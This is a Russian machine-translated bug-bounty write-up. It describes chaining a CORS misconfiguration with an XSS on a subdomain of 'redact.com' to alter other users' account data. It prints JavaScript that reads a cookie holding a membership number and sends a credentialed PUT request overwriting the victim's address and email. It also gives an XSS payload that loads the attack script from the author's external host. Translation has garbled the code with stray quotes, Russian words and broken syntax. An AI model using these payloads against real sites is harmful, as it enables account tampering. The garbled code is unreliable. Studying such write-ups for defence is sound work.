Эта запись касается неправильной конфигурации CORS, с помощью которой я смог выполнить CSRF-атаку, чтобы изменить информацию об учетных записях других пользователей. Предположим, цель была названа redact.com и отправляла на сервер запрос PUT для обновления такой информации о пользователе, как адрес, имя и т. Д.
Заголовок Origin был также отправлен в запросе Origin: redact.com , который был отражен в ответе и Access-Control- Allow-Credentials был установлен на True. Это означает, что файлы cookie могут отправляться вместе с запросом. Я попытался изменить значение заголовка Origin на evil.com, а затем на redact.com.evil.com, но оба варианта были отклонены. Но отправка
Origin: evil. redact.com сработала, что означает, что субдомен redact.com может отправлять запросы к своему API.
Теперь мне понадобился XSS на одном из его поддоменов для отправки запроса PUT на сервер, к счастью, я получил XSS на help.redact.com. Но было недостаточно, чтобы параметр enctyptedMembershipNumer был отправлен вместе с запросом PUT для идентификации пользователя. Изучив файлы cookie сайта redact.com, я обнаружил, что enctyptedMembershipNumer был сохранен в файле cookie с именем prop_29 который был ограничен до. redact.com, точка в начале , означает, что к этому файлу cookie можно получить доступ из его поддоменов. Итак, чтобы извлечь этот Cookie, я написал код JS.
function getCookie (name) {
var match = document.cookie.match (new RegExp ('(^ |)' + name + '= ([^;] +)'));
if ( match) return match [2];
}
Теперь полный код для получения enctyptedMembershipNumer и отправки запроса PUT
.
function getCookie (name) {
var match = document.cookie.match (new RegExp ('(^ |)' + name + '= ([^;] +)'));
if ( match) return match [2];
}
cook = getCookie («prop_29»)
data = {member: {mailingAddress: {addressLineOne: Аккаунт взломан, city: НОВЫЙ порт, stateOrProvinceCode: NY, postalCode: 20001 ',« email : ” [email protected] ”, ”countryCode”: ”США”}}}
fetch (` https://www.redact.com/api/node/vivaldi/v1/account/primary-contact?encryptedMembershipNumber=$ {cook} `, {method: PUT, credentails: include, body: JSON.stringify (данные)})
Я создал файл JS и загрузил код на свой сервер для использования в полезных данных XSS.
Окончательная полезная нагрузка:
https://help.redact.com/app/answers/list?searchTerm=?svg onload = script = document ['createElement'] ('script'); script ['src'] = 'https: // osamaavvan. 000webhostapp.com/a.js';document['head '] [' appendChild '] (скрипт); ›
. и // были удалены из полезной нагрузки фильтром XSS, поэтому я преобразовал их в соответствующие им HTML-сущности.
Спасибо за чтение.
📝 Прочтите этот рассказ позже в Журнале.
👩💻 Просыпайтесь каждое воскресное утро и слышите самые интересные истории недели в области технологий, ожидающие в вашем почтовом ящике. Прочтите информационный бюллетень« Примечательно в технологиях .